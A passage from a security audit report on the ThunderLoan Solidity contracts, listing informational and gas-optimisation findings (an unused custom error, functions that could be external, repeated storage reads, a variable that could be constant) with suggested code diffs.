Impact: This redundancy may lead to increased gas costs for deployments, potential confusion in function usage, and an unnecessary increase in the contract's complexity.

Recommended Mitigation: Remove the `getPrice` function:

```
    function getPriceInWeth(address token) public view returns (uint256) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
        return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth();
    }

-   function getPrice(address token) external view returns (uint256) {
-       return getPriceInWeth(token);
    }
```

[I-7] Custom error `ThunderLoan::ThunderLoan__ExhangeRateCanOnlyIncrease` is defined but not used

Description: `ThunderLoan__ExhangeRateCanOnlyIncrease` is one of the custom errors defined in `ThunderLoan`, but it is never used. It has basically the same functionality as `AssetToken`

`::AssetToken__ExhangeRateCanOnlyIncrease(uint256 oldExchangeRate, uint256 newExchangeRate);`, which is being used and already covers the intended functionality, making this custom error in `ThunderLoan` redundant.

In `ThunderLoan.sol`:

```
    error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

In `AsseToken.sol`:

```
    error AssetToken__ExhangeRateCanOnlyIncrease(uint256
        oldExchangeRate, uint256 newExchangeRate);
```

Impact: Decreases code clarity, wastes gas.

Recommended Mitigation: Remove the error or use it as intended:

```
-     error ThunderLoan__ExhangeRateCanOnlyIncrease();
```

[I-8] `ThunderLoan::repay`, `ThunderLoan::getAssetFromToken`, `ThunderLoan::currentlyFlashLoaning`, `ThunderLoanUpgraded::repay`, `ThunderLoanUpgraded::getAssetFromToken`, `ThunderLoanUpgraded::currentlyFlashLoaning` can be declared as an external functions

Description: `repay`, `getAssetToken` and `currentlyFlashLoaning` are declared as public functions in both `ThunderLoan` and `ThunderLoanUpgraded`. However, they are not used internally in either contracts and, hence, can be declared as external functions instead.

Gas

[G-1] `AssetToken::updateExchangeRate` reads storage too many times to get the value of the same variable `s_exchangeRate`, wasting gas

Description: `AssetToken::updateExchangeRate` reads the value of `s_exchangeRate` from storage several times.

```
    function updateExchangeRate(uint256 fee) external onlyThunderLoan {
@>      uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee
    ) / totalSupply();

@>      if (newExchangeRate <= s_exchangeRate) {
@>          revert AssetToken__ExhangeRateCanOnlyIncrease(
    s_exchangeRate, newExchangeRate);
```

```
            }
            s_exchangeRate = newExchangeRate;
@>          emit ExchangeRateUpdated(s_exchangeRate);
        }
```

Impact: Reading from storage costs a lot of gas, so repeated readings makes the call of `updateExchangeRate` unneccesarily expensive.

Recommended Mitigation: Store the value of `s_exchangeRate` is a local variable, and use this local variable instead wherever possible.

```
        function updateExchangeRate(uint256 fee) external onlyThunderLoan {
-            uint256 newExchangeRate = s_exchangeRate * (totalSupply() + fee) / totalSupply();
+            uint256 oldExchangeRate = s_exchangeRate;
+            uint256 newExchangeRate = oldExchangeRate * (totalSupply() + fee) / totalSupply();

-            if (newExchangeRate <= s_exchangeRate) {
+            if (newExchangeRate <= oldExchangeRate) {
-                revert AssetToken__ExhangeRateCanOnlyIncrease(s_exchangeRate, newExchangeRate);
+                revert AssetToken__ExhangeRateCanOnlyIncrease(oldExchangeRate, newExchangeRate);

            }
            s_exchangeRate = newExchangeRate;
-           emit ExchangeRateUpdated(s_exchangeRate);
+           emit ExchangeRateUpdated(newExchangeRate);

        }
```

[G-2] `ThunderLoan::s_freePrecision` is never changed, but is not declared as a constant, wasting gas

Description: `s_freePrecision` is declared as a state variable, but it is not changed throughout the code, so it could be declared as a constant instead.

Impact: `s_freePrecision` is initialized upon contract deployment and remains unchanged. Current implementation as a non-constant state variable incurs unnecessary gas costs for reads and increases the contract deployment cost. By declaring this variable as a constant, gas costs can be optimized, resulting in a more efficient contract.

Recommended Mitigation: Declare this variable as a constant (or as immutable) instead of a state variable:

```
-    uint256 private s_feePrecision;
```

```
+    uint256 public constant FEEPRECISION = 1e18;
     .
     .
     .
-    s_feePrecision = 1e18;
```